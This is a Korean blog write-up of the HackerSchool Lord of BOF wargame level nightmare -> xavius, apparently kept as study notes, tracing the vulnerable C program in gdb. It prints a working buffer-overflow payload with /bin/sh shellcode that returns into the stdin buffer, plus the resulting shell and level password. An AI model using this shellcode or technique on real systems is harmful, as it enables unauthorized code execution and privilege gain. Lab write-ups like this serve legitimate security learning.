[lob] 해커스쿨 nightmare -> xavius 풀이
- 보안/HackerSchool-lob
- 2020. 2. 11. 16:56
l 해커스쿨 nightmare 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
nightmare 문제의 아이디인 nightmare 와 password인 beg for me 을 입력하여 nightmare의 유저로 접속합니다.
[nightmare@localhost nightmare]$ cat xavius.c /* The Lord of the BOF : The Fellowship of the BOF - xavius - arg */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> main() { char buffer[40]; char *ret_addr; // overflow! fgets(buffer, 256, stdin); printf("%s\n", buffer); if(*(buffer+47) == '\xbf') { printf("stack retbayed you!\n"); exit(0); } if(*(buffer+47) == '\x08') { printf("binary image retbayed you, too!!\n"); exit(0); } // check if the ret_addr is library function or not memcpy(&ret_addr, buffer+44, 4); while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function { if(*ret_addr == '\xc9'){ // leave if(*(ret_addr+1) == '\xc3'){ // ret printf("You cannot use library function!\n"); exit(0); } } ret_addr++; } // stack destroyer memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } |
힌트 코드를 분석해보겠습니다.
1. fgets를 이용해 buffer에 문자열을 입력합니다.
2. return에 stack 영역을 사용할 수 없습니다.
3. return의 48번째 문자에 0x08이 들어갈 수 없습니다. 즉 ret과 leave 등 코드 영역을 사용할 수 없습니다.
4. ret의 주소를 ret_addr에 복사하고, 그것을 이용해 library를 사용할 수 없게 합니다.
5. buffer + sfp의 영역을 0으로 만듭니다.
6. return 위로 모든 영역을 0으로 만듭니다.
7. buffer - 3000부터 2960byte를 0으로 만듭니다. 따라서 LD_PRELOAD를 사용할 수 없습니다.
분석 결과 스택, 코드 영역, 라이브러리 모두 사용할 수 없습니다. 이번 문제는 어떻게 풀지 잘 몰라서 다른 블로그를 참고해서 풀었습니다. 앞의 문제들과 다르게 fgets로 문자열을 받는다는 점에 의문이 들긴 했는데 결과적으로 stdin을 이용해 푸는 문제였습니다.
1. fgets에서의 stdin을 이용합니다.
2. 라이브러리 영역을 못 쓰게 할 생각이었다면 *(buffer+47) == \x40 을 이용했으면 됐을 텐데 굳이 위의 코드를 사용하였습니다.
이렇게 2가지가 힌트가 됩니다. stdin은 키보드로 입력한 문자열을 가지고 있는 버퍼입니다. gdb를 사용해 그 부분을 살펴보겠습니다.
[nightmare@localhost nightmare]$ cp xavius nightmare [nightmare@localhost nightmare]$ gdb nightmare GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048714 <main>: push %ebp 0x8048717 <main+3>: sub $0x2c,%esp 0x804871a <main+6>: mov 0x8049a3c,%eax 0x804871f <main+11>: push %eax 0x8048720 <main+12>: push $0x100 0x8048725 <main+17>: lea 0xffffffd8(%ebp),%eax 0x8048728 <main+20>: push %eax 0x8048729 <main+21>: call 0x8048408 <fgets> ... |
1. 0x8048729 <main+21>: call 0x8048408 <fgets>
fget에는 총 세 개의 인자가 들어갑니다. buffer, 256, stdin 순서로 들어가는데 stack에 push 되는 순서는 stdin, 256, buffer이기 때문에 0x8049a3c가 stdin의 주소가 됩니다.
(gdb) b *main+26 Breakpoint 1 at 0x804872e (gdb) r Starting program: /home/nightmare/nightmare AAAAAAAAAAAAAAAA Breakpoint 1, 0x804872e in main () (gdb) x/x 0x8049a3c 0x8049a3c <stdin@@GLIBC_2.0>: 0x401068c0 (gdb) x/x 0x401068c0 0x401068c0 <_IO_2_1_stdin_>: 0xfbad2288 (gdb) x/20x 0x401068c0 0x401068c0 <_IO_2_1_stdin_>: 0xfbad2288 0x40015011 0x40015011 0 0x40015000 0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000 0x40015000 0x40015000 0 x40015000 0x401068e0 <_IO_2_1_stdin_+32>: 0x40015400 0x00000000 0x00000000 0 x00000000 0x401068f0 <_IO_2_1_stdin_+48>: 0x00000000 0x00000000 0x00000000 0 x00000000 0x40106900 <_IO_2_1_stdin_+64>: 0xffffffff 0x00000000 0x401068a0 0 xffffffff (gdb) x/x 0xfbad2288 0xfbad2288: Cannot access memory at address 0xfbad2288 (gdb) x/x 0x40015011 0x40015011: 0x00000000 (gdb) x/x 0x40015000 0x40015000: 0x41414141 (gdb) x/10x 0x40015000 0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141 0x40015010: 0x0000000a 0x00000000 0x00000000 0x00000000 0x40015020: 0x00000000 0x00000000 |
fgets 다음에 breakpoint를 잡고 프로그램을 실행시켜보았습니다. 그리고 stdin의 주소를 확인해보니 위와 같았습니다.
0xfbad2288, 0x40015011, 0x40015000을 차례대로 확인한 결과 0x40015000에 프로그램을 실행하고 입력한 A 문자가 들어있습니다.
(gdb) b *main+277 Breakpoint 2 at 0x8048829 (gdb) c Continuing. AAAAAAAAAAAAAAAA Breakpoint 2, 0x8048829 in main () (gdb) x/x 0x40015000 0x40015000: 0x41414141 |
프로그램이 종료된 뒤에도 A가 남아있는지 확인해보기 위해 leave에 breakpoint를 걸고 이어서 실행해본 결과 여전히
0x40015000에 A 문자가 남아있는 것을 볼 수 있습니다. 그럼 이제 페이로드를 구성해보겠습니다. NOP와 셸 코드를 넣어준 뒤 return에 0x40015000을 넣어주면 될 것입니다.
| 페이로드
(python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./nightmare
[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./nightmare 1ÀPh//shh/bin‰ãPS‰á‰Â° Í€ id uid=518(nightmare) gid=518(nightmare) groups=518(nightmare) [nightmare@localhost nightmare]$ rm nightmare [nightmare@localhost nightmare]$ ln -s xavius nightmare [nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./nightmare 1ÀPh//shh/bin‰ãPS‰á‰Â° Í€ id uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare) my-pass euid = 519 throw me away |
nightmare 파일을 위의 페이로드로 실행시켜본 결과 셸 취득이 되었습니다. 기존의 nightmare 파일을 삭제하고 심볼릭 링크를 이용해 nightmare 이름으로 파일을 재생성한 뒤 다시 실행해보았습니다. my-pass 입력을 통해 xavius 유저의 password를 찾았습니다.
l xavius 비밀번호
euid = 519
throw me away
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 succubus -> nightmare 풀이 (0) | 2020.02.07 |
---|---|
[lob] 해커스쿨 zombie_assassin -> succubus 풀이 (0) | 2020.02.05 |
[lob] 해커스쿨 assassin -> zombie_assassin 풀이 (0) | 2020.02.01 |
[lob] 해커스쿨 giant -> assassin 풀이 (0) | 2020.01.30 |
[lob] 해커스쿨 bugbear -> giant 풀이 (0) | 2020.01.29 |
이 글을 공유하기